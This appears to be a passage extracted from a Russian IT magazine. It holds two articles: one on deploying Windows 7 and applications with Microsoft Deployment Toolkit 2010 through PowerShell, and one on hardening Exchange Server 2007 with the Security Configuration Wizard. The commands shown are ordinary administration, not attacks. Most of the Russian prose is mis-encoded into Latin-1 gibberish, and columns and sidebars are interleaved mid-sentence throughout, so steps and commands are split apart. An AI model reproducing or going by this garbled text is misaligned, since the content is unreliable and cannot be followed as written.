ОС Windows. ïàòü êàê îáùèé ðåñóðñ. Ïî óìîë÷àíèþ ïðåäëàãàåòñÿ åãî êàòàëîã ðåñóðñà óñòàíîâêè, òî óâèäèì, ÷òî íàçâàíèÿ ýòèõ
ðàçìåñòèòü íà äèñêå «Ñ», íî ó÷èòûâàÿ, ÷òî îáðàçû ÎÑ ïóíêòîâ ñîâïàäàþò ñ ïîäêàòàëîãàìè, ðàñïîëîæåííûìè
• О том, как использо- ìîãóò çàíèìàòü äîâîëüíî ìíîãî ìåñòà, ëó÷øå âûäåëèòü âíóòðè.
вать WAIK, читай ïîä «Deployment Share» îòäåëüíûé ðàçäåë. Íàïðèìåð, f:\ Ïîñëå ñîçäàíèÿ ðåñóðñà åãî íóæíî íàñòðîèòü, äîáàâèâ ÎÑ,
в статье «Самосбор- DeploymentShare$ (ñäåëàåì åãî ñêðûòûì). Íà ñëåäóþùåì äðàéâåðà, ïàò÷è è ïðèëîæåíèÿ, êîòîðûå áóäóò èñïîëü-
ные окна», опублико- øàãå ïðîâåðÿåì ïðàâèëüíîñòü UNC èìåíè ðåñóðñà (\\ çîâàòüñÿ ïðè ñîçäàíèè îáðàçà. Ïî ñóòè, âñÿ äàëüíåéøàÿ
ванной в январском SERVER\DeploymentShare$) è ââîäèì êðàòêîå îïèñàíèå. ðàáîòà çàêëþ÷àåòñÿ â ïîñëåäîâàòåëüíîì âûçîâå ìàñòåðîâ è
номере z за 2009 Äàëåå ìàñòåð ñïðàøèâàåò, íóæíî ëè ñîçäàâàòü îáðàç ïîñëå çàïîëíåíèè ïàðàìåòðîâ âî âñåõ óêàçàííûõ âûøå ïóíêòàõ.
год. çàâåðøåíèÿ óñòàíîâêè íà êîìïüþòåð — «Ask if an image Ñíà÷àëà äîáàâèì ÎÑ. Ïåðåõîäèì â «Operating Systems» è
should be captured». Åñëè íåîáõîäèìî ñîçäàòü ýòàëîííûé âûáèðàåì â ìåíþ èìïîðò ÎÑ — «Import Operating System».
• Статью «Начальник îáðàç äëÿ ðàñïðîñòðàíåíèÿ íà íåñêîëüêî ñèñòåì, ôëàæîê Ïîÿâèâøèéñÿ ìàñòåð íà ïåðâîì øàãå çàïðîñèò, ÷òî ìû
сети», посвященную ìîæíî îñòàâèòü âçâåäåííûì, íî ïðè ðàáîòå â äîìåííîé õîòèì èìïîðòèðîâàòü; ïðåäëàãàåòñÿ âûáðàòü îäèí èç òðåõ
SCCM 2007 R2, читай ñðåäå åãî ðåêîìåíäóåòñÿ íå èñïîëüçîâàòü.  ëþáîì ñëó÷àå âàðèàíòîâ:
в августовском номе- ýòàëîííûé îáðàç ìîæíî çàòåì ñíÿòü ñàìîñòîÿòåëüíî.
ре z за 2009 год. Íà ýòàïå «Allow admin password» óñòàíîâëåííûé ôëàæîê «Ask • Full set of source files — ÎÑ ñ óñòàíîâî÷íîãî
user to set the local Administrator password» ïîçâîëèò ïîëüçî- CD/DVD èëè ïîäîáíûõ èñòî÷íèêîâ;
âàòåëÿì çàäàâàòü ïàðîëü ëîêàëüíîãî àäìèíèñòðàòîðà. Ïî • Custom image file — ïîäãîòîâëåííûé WIM-ôàéë;
óìîë÷àíèþ îí óñòàíîâëåí, íî â áîëüøèíñòâå ñëó÷àåâ ýòîò • Windows Deployment Services Images — îáðàç,
ïàðàìåòð ëó÷øå îñòàâèòü íåàêòèâíûì. Èäåì äàëüøå. Åñëè äîñòóïíûé WDS.
êëþ÷ ïðîäóêòà âî âðåìÿ óñòàíîâêè ñèñòåìû äîëæåí ââîäèòü
ïîëüçîâàòåëü, àêòèâèðóåì ôëàæîê «Ask user for a produñt key». Äàëåå ðàññìîòðèì ïåðâûé âàðèàíò. Íà ýòàïå âûáîðà
Óáåæäàåìñÿ, ÷òî âñå óñòàíîâêè çàäàíû ïðàâèëüíî, è çàâåðøà- èñòî÷íèêà «Source» óêàçûâàåì ïóòü ê CD/DVD-ïðèâîäó èëè
åì ðàáîòó ìàñòåðà. Ïîñëå ñîçäàíèÿ ðåñóðñà ìîæíî ñîõðàíèòü êàòàëîãó, â êîòîðîì íàõîäÿòñÿ óñòàíîâî÷íûå ôàéëû. Ïî
âûâîä è, íàæàâ «View script», ïðîñìîòðåòü PowerShell -ñêðèïò, óìîë÷àíèþ ôàéëû ñ óêàçàííîãî èñòî÷íèêà áóäóò êîïèðî-
êîòîðûé èñïîëüçîâàëñÿ äëÿ åãî ñîçäàíèÿ. Íàïðèìåð: âàòüñÿ íà ðåñóðñ óñòàíîâêè. Íî åñëè â êà÷åñòâå èñòî÷íèêà
èñïîëüçóåòñÿ æåñòêèé äèñê, òî óñòàíîâèâ ôëàæîê «Move the
Add-PSSnapIn Microsoft.BDD.PSSnapIn # â ïîñëå- files to the deployment share instead of copying them», ìàñòåð
äóþùèõ ïðèìåðàõ ýòó ñòðîêó áóäåì îïóñêàòü âìåñòî êîïèðîâàíèÿ ïåðåìåñòèò ôàéëû. Çàäàåì íàçâàíèå
New-PSDrive -Name "DS001" -PSProvider ДОБАВЛЯЕМ ПРИЛОЖЕНИЯ Ñîáñòâåííî ïî÷òè âñå ãîòîâî dvd
MDTProvider -Root "f:\DeploymentShare$" äëÿ ðàçâåðòûâàíèÿ ÎÑ. Îñòàëîñü äîïîëíèòü óñòàíîâêó • На прилагаемом
import-mdtpackage -path "DS001:\Packages" ïðèëîæåíèÿìè, ÷òîáû â ïîñëåäñòâèè íå ðàçâîðà÷è- к журналу диске ты
-SourcePath "F:\MCU" -Verbose âàòü èõ âðó÷íóþ. Ïðîãðàììû óñòàíàâëèâàþòñÿ â ìåíþ найдешь PowerShell-
«Applications» âûáîðîì «New Applications». Ìàñòåð ïîïðî- скрипты и MDT Wizard
Ïîñëå èìïîðòà íîâûå ïàêåòû áóäóò îòîáðàæåíû âî âêëàäêå ñèò çàäàòü èñòî÷íèê óñòàíîâêè. Ïî óìîë÷àíèþ ïðåäëàãà- Editor.
«Packages», âûáðàâ ëþáîé èç íèõ è íàæàâ ññûëêó «Ñâîéñò- åòñÿ «Applications with source files», êîòîðûé è âûáèðàåì
âà», ìîæíî èçìåíèòü íåêîòîðûå ñâîéñòâà ñêðèïòà.  â áîëüøèíñòâå ñëó÷àåâ. Çäåñü ïðîñòî ñëåäóåì óêàçàíèÿì • В видеоролике
÷àñòíîñòè, äîáàâèòü îïèñàíèå è èçìåíèòü âûâîäèìîå èìÿ. ìàñòåðà. Íà øàãå «Details» çàïîëíÿåì îïèñàíèå, îñíîâíûì мы покажем, как
Äâà ôëàæêà âíèçó «Hide this package in Deployment Wizard» ÿâëÿåòñÿ «Application Name», â êîòîðîì ïðîïèñûâàåì установить Microsoft
è «Enable» ïîìîãóò «ñïðÿòàòü» ïàêåò èëè îòêëþ÷èòü åãî, íàçâàíèå ïðèëîæåíèÿ, îñòàëüíûå ïóíêòû ïîìå÷åíû êàê Deployment Toolkit
2010, создадим
и наполним ресурсы
установки, а также
Íà ñàìîì äåëå âîçìîæíîñòåé ïî êîíôèãóðèðîâàíèþ ó MDT 2010 íà ïîðÿäîê áîëüøå, ÷åì îïèñàíî â ñòàòüå. Íî íåêîòîðûå
òðåáóþò çíàíèé îòäåëüíûõ òîíêîñòåé. Òàê ìíîãèå óñòàíîâêè, èñïîëüçóåìûå íà êëèåíòñêèõ ÎÑ, ñîõðàíåíû â XML-ôàé-
ëå DeploymentShare$\Scripts\DeployWiz_Definition_ENU.xml. Âðó÷íóþ êîíôèãóðèðîâàòü åãî íåóäîáíî. Çäåñü ìîæåò
ïîìî÷ü MDT Wizard Editor (mdtwizardeditor.codeplex.com/Wiki/View.aspx) — íåáîëüøàÿ óòèëèòà, íàïèñàííàÿ íà .NET
Framework 2.0 è ðàñïðîñòðàíÿåìàÿ ïî óñëîâèÿì Microsoft Public License (Ms-PL). Ðåäàêòîð äîñòàòî÷íî ïðîñò â èñïîëüçî-
âàíèè: âûáèðàåì XML-ôàéë, ïîñëå ÷åãî íàñòðîéêè âíóòðè ìîæíî îòðåäàêòèðîâàòü â ðó÷íîì èëè âèçóàëüíîì ðåæèìå
ïðè ïîìîùè ïåðåêëþ÷àòåëåé (âêëàäêà Preview). Âñå íàñòðîéêè çàòåì ìîæíî ïðîòåñòèðîâàòü.
«Optional». Äàëåå óêàçûâàåì êàòàëîã ñ óñòà- 3.5.3» -ApplicationSourcePath New-PSDrive -Name "DS001"
íîâî÷íûìè ôàéëàìè è íà ñëåäóþùåì øàãå «F:\firefox» -DestinationFolder -PSProvider MDTProvider -Root "f:\
— êîìàíäíóþ ñòðîêó äëÿ óñòàíîâêè. Êîìàíäà «Mozilla Firefox 3.5.3» -Verbose DeploymentShare$"
çàâèñèò îò êîíêðåòíîãî ïðèëîæåíèÿ, çäåñü import-mdttasksequence -path
ëó÷øå ïîèñêàòü èíôó íà ñàéòå ðàçðàáîò÷èêà. Åñëè ïðèëîæåíèå óñòàíàâëèâàåòñÿ èç UNC- "DS001:\Task Sequences» -Name
Íàïðèìåð, äëÿ Firefox ìîæíî ââåñòè: êàòàëîãà (íàïðèìåð, DFS), èëè íå èìååò "Windows 7 Install" -Template
èñòî÷íèêà, òî â ïåðâîì îêíå «New Application "Client.xml" -Comments «Windows 7
FirefoxSetup.exe /D=<ïîëíûé ïóòü ê Wizard» âûáèðàåì «Applications without source Install" -ID "Win7-001" -Version
êàòàëîãó óñòàíîâêè> files or elsewhere on the network».  ýòîì ñëó÷àå, "1.0" -OperatingSystemPath
ïîìèìî îïèñàíèÿ, ïðîñòî óêàçûâàåì êîìàíäó "DS001:\Operating Systems\Windows
Èëè, êàê âàðèàíò, èñïîëüçîâàòü INI-ôàéë: çàïóñêà. Òðåòèé ïóíêò «Application bundle» 7 PROFESSIONAL in Windows 7 x64
ïðåäíàçíà÷åí äëÿ ðàçáîðîê ñ çàâèñèìîñòÿìè. install.wim" -FullName "grinder"
FirefoxSetup.exe /INI=F:\source\ -OrgName "Gljuk" -HomePage
firefox\setup.ini СОЗДАНИЕ ПОСЛЕДОВАТЕЛЬНОСТИ "about:blank» -AdminPassword "p@
ЗАДАЧ Ïîñëåäîâàòåëüíîñòü çàäà÷ ïðåäñòàâ- ssw()rd» -Verbose
Ôàéë setup.ini ìîæåò âûãëÿäåòü ïðèìåðíî òàê: ëÿåò ñîáîé îïèñàíèå øàãîâ, âûïîëíÿåìûõ
âî âðåìÿ óñòàíîâêè. Ïåðåõîäèì â «Task Ïî îêîí÷àíèè âñåõ íàñòðîåê îáíîâèòå ðåñóðñ
setup.ini Sequences» è âûáèðàåì êîìàíäó äëÿ ñîçäàíèÿ óñòàíîâêè, â õîäå ïðîöåññà áóäåò èçìåíåí
[Install] íîâîé ïîñëåäîâàòåëüíîñòè çàäà÷ — «New Task çàãðóçî÷íûé îáðàç â ñîîòâåòñòâèè ñ ïðîèç-
InstallDirectoryName=Mozilla Sequence». Íà ïåðâîì øàãå ìàñòåðà ñëåäóåò âåäåííûìè íàñòðîéêàìè. Âûáèðàåì â îêíå
Firefox ââåñòè óíèêàëüíûé ID (win7-001) è íàçâàíèå «Deployment Workbench» ðåñóðñ óñòàíîâêè è â
QuickLaunchShortcut=true (Windows 7 Install), îïöèîíàëüíî êîììåíòà- êîíòåêñòíîì ìåíþ ïóíêò «Update Deployment
DesktopShortcut=true ðèé (ïðè áîëüøîì êîëè÷åñòâå çàäà÷ ðåìàðêè Share». Ïîÿâèòñÿ ìàñòåð îáíîâëåíèÿ.  ïåðâîì
StartMenuShortcuts=true ïîìîãàþò ëó÷øå îðèåíòèðîâàòüñÿ). Ñëåäóþ- îêíå áóäåò ïðåäëîæåíî íåñêîëüêî âàðèàíòîâ
ùèé øàã «Select Template» ïîçâîëÿåò âûáðàòü îáíîâëåíèÿ — îïòèìèçàöèÿ (äîïîëíèòåëü-
Ïîäòâåðæäàåì íàñòðîéêè è íàæèìàåì Finish. øàáëîí çàäà÷è. Ïî óìîë÷àíèþ ïðåäëàãàåòñÿ íî ìîæíî óêàçàòü ñæàòèå) è ðåãåíåðàöèÿ
Àíàëîãè÷íûì îáðàçîì íàñòðàèâàþòñÿ è äðó- «Standard Client Task Sequence», êîòîðûé è îáðàçà. Ìîæíî îñòàâèòü ïàðàìåòðû ïî
ãèå ïðèëîæåíèÿ, â òîì ÷èñëå è MS Office. áóäåì èñïîëüçîâàòü ïðè óñòàíîâêå êëèåíòñêèõ óìîë÷àíèþ. Ïîäòâåðæäàåì óñòàíîâêè è æäåì.
Âûçâàâ îêíî ñâîéñòâ èìïîðòèðîâàííîãî ïðè- ÎÑ, èëè «Standard Server Task Sequence» — äëÿ Êîãäà ïðîöåññ áóäåò çàêîí÷åí, â êàòàëîãå
ëîæåíèÿ, ìîæíî èçìåíèòü íàñòðîéêè, óêàçàòü, ñåðâåðíûõ. Êðîìå òîãî, äîñòóïíû åùå 5 çàäà÷, DeploymentShare$\Boot ïîÿâÿòñÿ WIM/ISO-îá-
äëÿ êàêèõ ïëàòôîðì îíî áóäåò óñòàíàâëè- íàçíà÷åíèå êîòîðûõ äîëæíî áûòü ïîíÿòíî èç ðàçû äëÿ çàãðóçêè 32-õ/64-õ áèòíûõ ñèñòåì.
âàòüñÿ (ïî óìîë÷àíèþ âñå), â «Dependencies» íàçâàíèÿ — «Sysprep and Capture», «Standard Äàëåå ISO-îáðàç çàïèñûâàåì íà äèñê, ñ êîòîðî-
—ïðåäïèñàòü çàâèñèìîñòè: Client Replace Task Sequence», «Custom Task ãî è çàãðóæàåì ñèñòåìó, WMI-îáðàç èñïîëüçó-
Sequence», «Litetouch OEM Task Sequence» è åì äëÿ óñòàíîâêè ïðè ïîìîùè ñåðâèñà WDS
New-PSDrive -Name "DS001" «Post OS Installation Task Sequence». (ñëåïîê íóæíî ñêîïèðîâàòü â ïîäêàòàëîã Boot
-PSProvider MDTProvider -Root "f:\ Âûáèðàåì èç ïðåäëîæåííîãî ñïèñêà îáðàç Images). Cêðèïò íà PowerShell äëÿ îáíîâëåíèÿ
DeploymentShare$" óñòàíàâëèâàåìîé ñèñòåìû, óêàçûâàåì ïðè íåîá- ðåñóðñà óñòàíîâêè î÷åíü ïðîñò:
import-MDTApplication -path õîäèìîñòè êëþ÷ óñòàíîâêè, íàñòðîéêè ÎÑ (èìÿ,
"DS001:\Applications» -enable îðãàíèçàöèÿ, äîìàøíÿÿ ñòðàíèöà áðàóçåðà), New-PSDrive -Name "DS001"
"True" -Name "Mozilla Firefox 3.5.3" ïàðîëü ëîêàëüíîãî àäìèíèñòðàòîðà. Ïîäòâåðæ- -PSProvider MDTProvider -Root "f:\
-ShortName «Firefox» -Version äàåì óñòàíîâêè è îæèäàåì çàâåðøåíèå ïðîöåññà DeploymentShare$"
"3.5.3" -Publisher "Mozilla" ñîçäàíèÿ çàäà÷. Âûáðàâ ñâîéñòâà çàäà÷è, ìîæíî update-MDTDeploymentShare -path
-Language "ru» -CommandLine "Firefox èçìåíèòü íåêîòîðûå íàñòðîéêè: ïîäïðàâèòü "DS001:" -Verbose
Setup 3.5.3.exe /D=C:\Program Files\ Unattend.xml (âûçûâàåòñÿ Windows System Image
Mozilla Firefox" -WorkingDirectory Manager), äîáàâèòü óñòàíîâêè (ôîðìàòèðîâà- Êàê âèäèøü, ïðè èñïîëüçîâàíèè MDT 2010 —
".\Applications\Mozilla Firefox íèå äèñêà, ñåòåâûå íàñòðîéêè è òàê äàëåå). ýòî ïðîñòàÿ çàäà÷à.z
Сражение
на трех фронтах
Защищаем популярные сервисы платформы Microsoft
ЗАЩИТА EXCHANGE SERVER Îáåñïå÷åíèå Ïî óìîë÷àíèþ SCW íå óñòàíàâëèâàåòñÿ, îí òè ñèëüíî îòëè÷àþòñÿ îò ñåðâåðîâ, íàõîäÿ-
ïðàâèëüíîé è áåñïåðåáîéíîé ðàáîòû ïî÷òîâî- äîñòóïåí â êîíñîëè «Óñòàíîâêà è óäàëå- ùèõñÿ ïîä çàùèòîé ìåæñåòåâûõ ýêðàíîâ.
ãî ñåðâèñà ÿâëÿåòñÿ îäíîé èç ïðèîðèòåòíûõ íèå ïðîãðàìì — Óñòàíîâêà êîìïîíåíòîâ Òàêæå ýòî åäèíñòâåííàÿ ðîëü, íå òðåáóþùàÿ
çàäà÷ àäìèíèñòðàòîðà. Ìîæíî ñïîðèòü äî Windows». Ïðîñòî îòìå÷àåì «Ìàñòåð ïîäêëþ÷åíèÿ ê Active Directory. Ñîîòâåòñ-
õðèïîòû, ÷òî ñâîáîäíûå ñåðâåðà ëó÷øå, íî íàñòðîéêè áåçîïàñíîñòè» è ñòàâèì îáû÷íûì òâåííî äëÿ ðîëè Edge Transport èñïîëüçóåòñÿ
ôàêò îñòàåòñÿ ôàêòîì — Exchange Server îáðàçîì (ïîíàäîáèòñÿ ñèñòåìíûé äèñê). ôàéë, ñîäåðæàùèé ïðåôèêñ Edge.
ïîëüçóåòñÿ áîëüøîé ïîïóëÿðíîñòüþ ñðåäè Íî åñëè ïîñëå óñòàíîâêè çàïóñòèòü «SCW ×òîáû SCW-ôàéëû áûëè âèäíû ìàñòåðó, èõ
ìíîãèõ êîìïàíèé, áëàãîäàðÿ íàäåæíîñòè Viewer» (äëÿ èñïîëüçîâàíèÿ SCW òðåáóþòñÿ ñëåäóåò ñêîïèðîâàòü â êàòàëîã %SystemRoot%\
ðàáîòû, òåñíîé èíòåãðàöèè ñ Active Directory è ïðàâà àäìèíèñòðàòîðà äîìåíà) è ïðîñìîò- security\msscw\kbs, à çàòåì çàðåãèñòðèðîâàòü
ïëàíèðóþùèì îñîáåííîñòÿì. Ïî äàííûì ðàç- ðåòü áàçó äàííûõ íàñòðîåê áåçîïàñíîñòè, òî ïðè ïîìîùè óòèëèòû SCWCMD.EXE (ãðà-
íûõ èñòî÷íèêîâ åìó îòâîäÿò 2-3 ìåñòî (ïîñëå îáíàðóæèì, ÷òî â ñïèñêå èçâåñòíûõ ðîëåé ôè÷åñêèé âàðèàíò — SCW.EXE), óêàçàâ èìÿ
Sendmail). À ýòî îãðîìíàÿ öèôðà. Ïðîöåññ èìåþòñÿ íàñòðîéêè òîëüêî äëÿ Exchange ïîëèòèêè è ïóòü ê ôàéëó øàáëîíà:
óñòàíîâêè è íàñòðîéêè Exchange Server 2007 2003, à äëÿ 2007 èõ íåò. Äîáàâèòü íóæíûå
áûë ðàññìîòðåí ìîèì êîëëåãîé â îêòÿáðü- ðîëè î÷åíü ëåãêî. Microsoft âìåñòå ñ óñòà- > SCWCMD Register /
ñêîì íîìåðå z çà 2007 ãîä, íî ÷òîáû äîâåñòè íîâî÷íûìè ôàéëàìè Exchange ïðåäëàãàåò kbname:Exchange2007 /kbfile:C:\
ñåðâåð äî óìà, íåîáõîäèìî ïðîèçâåñòè åùå ôàéëû-ðàñøèðåíèÿ äëÿ SCW. Íàõîäèì â Windows\security\msscw\kbs\
ðÿä äåéñòâèé. ïîäêàòàëîãå Scripts ôàéëû Exchange2007.xml Exchange2007.xml
Ìîæíî ïðî÷èòàòü êó÷ó ìàíóàëîâ è ðåêîìåí- è Exchange2007Edge.xml (â ñëó÷àå èñïîëüçî- > SCWCMD Register /
äàöèé è âûïîëíèòü âñå, ÷òî â íèõ íàïèñàíî. âàíèÿ ñåðâåðà Win2k8 áåðåì Exchange2007_ kbname:Exchange2007Edge /kbfile:C:\
ß ðàññêàæó î áîëåå ïðîñòîì ïóòè. Â SP1 äëÿ Winsrv2008.xml è Exchange2007Edge_ Windows\security\msscw\kbs\
Win2k3 ñòàë äîñòóïåí Ìàñòåð íàñòðîéêè áåçî- Winsrv2008.xml), êîòîðûå ïðåäñòàâëÿþò Exchange2007Edge.xml
ïàñíîñòè (Security Configuration Wizard, SCW). ñîáîé øàáëîíû áåçîïàñíîñòè, èñïîëüçóåìûå
Âèçàðä äîñòàòî÷íî ïðîñò â îáðàùåíèè, — îòâå- SCW â ñâîåé ðàáîòå. Ôàéë Exchange2007.  îòâåò ìû äîëæíû ïîëó÷èòü ñîîáùåíèå «Êî-
òèâ íà íåñêîëüêî âîïðîñîâ, ìîæíî ñîêðàòèòü xml ñîäåðæèò íàñòðîéêè äëÿ âñåõ ðîëåé ìàíäà âûïîëíåíà óñïåøíî», à â êàòàëîãå kbs
êîëè÷åñòâî óÿçâèìûõ ìåñò è îïðåäåëèòü ìåðû Exchange, çà èñêëþ÷åíèåì Edge Transport. ïîÿâÿòñÿ äâà ôàéëà — Exchange2007loc.xml è
äëÿ ïîâûøåíèÿ áåçîïàñíîñòè â ñîîòâåòñòâèè Íàïîìíþ, ÷òî ðîëü Edge Transport ñóùåñ- Exchange2007Edgeloc.xml, â êîòîðûõ ñîäåðæàò-
ñ ðîëÿìè, âûïîëíÿåìûìè ñåðâåðîì. Íî íóæíî òâåííî îòëè÷àåòñÿ îò îñòàëüíûõ ðîëåé ñÿ îáúÿâëåíèÿ ðîëåé.
ïîìíèòü, ÷òî ìàñòåð íå çàíèìàåòñÿ ðàçâåðòû- Exchange. Òàêîé ñåðâåð óñòàíàâëèâàåòñÿ, êàê Êñòàòè, ïðè ïîìîùè SCWCMD ìîæíî ïðîñìîò-
âàíèåì íîâûõ êîìïîíåíòîâ è íå íàñòðàèâàåò ïðàâèëî, â DMZ è ïðèíèìàåò íà ñåáÿ ïåðâûé ðåòü íàñòðîéêè, óêàçàííûå â XML-ôàéëàõ.
ðîëè, ýòî çàäà÷à àäìèíèñòðàòîðà. óäàð. Ïîýòîìó òðåáîâàíèÿ ê åãî áåçîïàñíîñ- Íàïðèìåð òàê:
> SCWCMD View /x:C:\Windows\security\msscw\kbs\ ðóæèâàåì íåñêîëüêî ðîëåé, ñâÿçàííûõ ñ Exchange 2007; åñëè èõ íåò,
Exchange2007Edge.xml ðåãèñòðàöèþ XML-ôàéëîâ, î÷åâèäíî, ñëåäóåò ïîâòîðèòü. Ùåë÷îê ïî
ëþáîìó ïóíêòó ïîçâîëÿåò ïîñìîòðåòü ïîäðîáíóþ èíôîðìàöèþ, ñòðîêà
 ðåçóëüòàòå îòêðîåòñÿ îêíî «SCW Viewer» ñ óñòàíîâêàìè, íàõîäÿùèìè- «Ñîñòîÿíèå» ïîêàæåò, óñòàíîâëåíà è âêëþ÷åíà ëè âûáðàííàÿ ðîëü.
ñÿ â äàííîì ôàéëå. Ïåðåõîäèì ê ñëåäóþùåìó ýòàïó. ×èòàåì ñîîáùåíèå î òîì, ÷òî íåâåðíîå
Åñëè ïðîèçâîäèòñÿ óïðàâëåíèå íåñêîëüêèìè ñåðâåðàìè, òî óäîáíåå óêàçàíèå ðîëåé ìîæåò ïðèâåñòè ê íåïðàâèëüíûì íàñòðîéêàì, è ïåðåõî-
õðàíèòü áàçó äàííûõ íàñòðîåê áåçîïàñíîñòè öåíòðàëèçîâàííî è äèì ê ýòàïó âûáîðà ðîëåé. Ê èõ àíàëèçó ñëåäóåò ïîäîéòè îñòîðîæíî, òàê
èñïîëüçîâàòü íà âñåõ ñåðâåðàõ ñåòè.  ýòîì ñëó÷àå ñåòåâîé ïóòü ê áàçå êàê ìàñòåð õîòÿ è èñïîëüçóåò âñå âîçìîæíûå ìåòîäû îïðåäåëåíèÿ, íî
ñëåäóåò ïðîïèñàòü â êîìàíäíîé ñòðîêå: âñå-òàêè ìîæåò îøèáàòüñÿ. Ïî óìîë÷àíèþ ïîìîùíèê ïîêàæåò òîëüêî
óñòàíîâëåííûå ðîëè. Äîñòóïíûå ðîëè ìîæíî óâèäåòü, èñïîëüçóÿ ðàñ-
> SCW /kb \\server\scwkb êðûâàþùèéñÿ ñïèñîê «Ïðîñìîòðåòü». Äàëåå àíàëîãè÷íî îòìå÷àåì êëè-
åíòñêèå ôóíêöèè (DHCP, DNS-êëèåíòû è ò. ä.) è êîìïîíåíòû, ñâÿçàííûå
Èç ìåíþ «Àäìèíèñòðèðîâàíèå» çàïóñêàåì ìàñòåð íàñòðîéêè áåçîïàñ- ñ çàäà÷àìè àäìèíèñòðèðîâàíèÿ (áðàíäìàóýð Windows, àðõèâàöèÿ
íîñòè, ïðîïóñêàåì ïåðâûé øàã, íà êîòîðîì ïðîñòî äàåòñÿ îáùàÿ èíôîð- äàííûõ, îáîçðåâàòåëü ñåòè è ò.ï.) Âñå âíèìàòåëüíî ïðîñìàòðèâàåì è
ìàöèÿ, íà âòîðîì âûáèðàåì «Ñîçäàòü íîâóþ ïîëèòèêó áåçîïàñíîñòè». îñòàâëÿåì òîëüêî òî, ÷òî äåéñòâèòåëüíî èñïîëüçóåòñÿ. Â ñëåäóþùåì
Îñòàëüíûå ïóíêòû ïîçâîëÿþò èçìåíèòü ñóùåñòâóþùóþ ïîëèòèêó, îêíå óâèäèì ñïèñîê äîïîëíèòåëüíûõ ñëóæá, — ñ íèìè îáû÷íî ïðîáëåì
ïðèìåíèòü ïîëèòèêó è ïðîèçâåñòè îòêàò ïðèìåíåííîé ïîëèòèêè. íå âîçíèêàåò. Õîòÿ åñëè â ñèñòåìå îáíàðóæåíà íåçàäåéñòâîâàííàÿ
Îáðàùàþ âíèìàíèå íà ïîñëåäíèé âàðèàíò, êîòîðûé ïîçâîëÿåò â ñëó÷àå äîïîëíèòåëüíàÿ ñëóæáà, ëó÷øå ïðåêðàòèòü ðàáîòó ñ ìàñòåðîì, óäàëèòü
ïðîáëåì, ïîÿâèâøèõñÿ ïîñëå ïðèìåíåíèÿ ïîëèòèêè, î÷åíü ïðîñòî ñëóæáó è ïîâòîðèòü íàñòðîéêè, çàïóñòèâ SCW ïîâòîðíî.
îòìåíèòü âñå èçìåíåíèÿ, âåðíóâ öåëåâóþ ñèñòåìó â ïåðâîíà÷àëüíîå, Òåïåðü íå ìåíåå âàæíûé ýòàï — îïðåäåëÿåì, ÷òî äåëàòü ñ íåèçâåñòíû-
ðàáî÷åå ñîñòîÿíèå. Íå ñëåäóåò ïðèíóäèòåëüíî çàâåðøàòü ðàáîòó ìàñòå- ìè ñëóæáàìè. Ïî óìîë÷àíèþ ïðåäëàãàåòñÿ íå èçìåíÿòü ðåæèì çàïóñêà
ðà, çàêðûâàÿ îêíî ñ íàñòðîéêàìè, òàê êàê ñåðâåð ìîæåò îñòàòüñÿ ëèøü ñëóæáû. Ýòî ñïàñàåò îò âîçìîæíûõ ïðîáëåì â ñëó÷àå, åñëè ìàñòåð
÷àñòè÷íî íàñòðîåííûì, âìåñòî ýòîãî íàäî âûïîëíèòü îòêàò ïîëèòèê íåêîððåêòíî ðàñïîçíàë âñå óñòàíîâêè íà ñåðâåðå, íóæíûå ñëóæáû åùå
ñðàçó ïîñëå ïðèìåíåíèÿ. Õîòÿ ïîëíûé áýêàï äëÿ ïîäñòðàõîâêè åùå íå óñòàíîâëåíû, èëè êîãäà ïîëèòèêà áóäåò ïðèìåíÿòüñÿ íà íåñêîëüêèõ
íèêîìó íå âðåäèë, íàîáîðîò äîêàçàíî, ÷òî ñîí àäìèíà ïðè íàëè÷èè ñåðâåðàõ.  çàùèùåííûõ ñðåäàõ ñëåäóåò èñïîëüçîâàòü âàðèàíò «Îò-
ðåçåðâíîé êîïèè êðåï÷å, à äîñóã äëèííåå. êëþ÷èòü ýòó ñëóæáó». Ñìîòðèì ðåçþìå ïî ïëàíèðóåìûì èçìåíåíèÿì.
Íà ñëåäóþùåì øàãå óêàçûâàåì ñåðâåð, êîòîðûé áóäåò èñïîëüçîâàí êàê Â òàáëèöå íåñêîëüêî ñòîëáöîâ, ãäå îòîáðàæàåòñÿ òåêóùèé è ïëàíèðóå-
îáðàçåö ïðè ñîçäàíèè ïîëèòèêè áåçîïàñíîñòè.  ñïèñêå ïî óìîë÷àíèþ ìûé ñòàòóñ çàïóñêà ñëóæáû. Åñëè íàñòðîéêè âåðíû, ïåðåõîäèì â ðàçäåë
îòîáðàæàåòñÿ ëîêàëüíàÿ ñèñòåìà, äëÿ óäàëåííîé ñèñòåìû óêàçûâàåì «Ñåòåâàÿ áåçîïàñíîñòü». Óñòàíîâèâ ôëàæîê â ïåðâîì îêíå, ìîæíî
åå DNS, NetBIOS èìÿ èëè IP-àäðåñ. Ïî îêîí÷àíèè ñêàíèðîâàíèÿ áàçû ïðîïóñòèòü ýòîò ðàçäåë. Âûáèðàåì ïîðòû è îäîáðÿåì ïðèëîæåíèÿ.
äàííûõ è àíàëèçà òåêóùåãî ñîñòîÿíèÿ ñèñòåìû íàæàòèåì êíîïêè Èñïîëüçóÿ êíîïêè Äîáàâèòü, Èçìåíèòü è Óäàëèòü, ìîæíî ñîîòâåòñòâåí-
«Ïðîñìîòð áàçû äàííûõ» ìîæíî ïîëó÷èòü îò÷åò î íàéäåííûõ ðîëÿõ è íî óêàçàòü íîâûé ïîðò è ïðèëîæåíèå, à òàêæå èçìåíèòü èëè óäàëèòü
äðóãèõ âîçìîæíîñòÿõ. Ïîñëå âíåäðåíèÿ íîâûõ ïîëèòèê â ñïèñêå îáíà- èìåþùèåñÿ íàñòðîéêè. Ïî óìîë÷àíèþ äîñòóï ê ðàçðåøåííûì ïîðòàì
âîçìîæåí ñ ëþáîãî àäðåñà; íàæàâ êíîïêó Äî- ìîæíî âêëþ÷èòü/îòêëþ÷èòü èñïîëüçîâàíèå ñîâ, âåäåíèå æóðíàëà è êîíñîëü óïðàâëåíèÿ
ïîëíèòåëüíî, ìîæíî óêàçàòü äëÿ âûáðàííîãî øàáëîíà áåçîïàñíîñòè SCWAudit.inf, êîòîðûé IIS (IIS Manager). Äëÿ óäîáñòâà âûáîðà Role
ïðèëîæåíèÿ ñïèñîê ðàçðåøåííûõ IP-àäðåñîâ è çàäàåò ACL äîñòóïà ê ôàéëîâîé ñèñòåìå Services ðàçäåëåíû íà 8 ïîäêàòåãîðèé. Ñðåäè
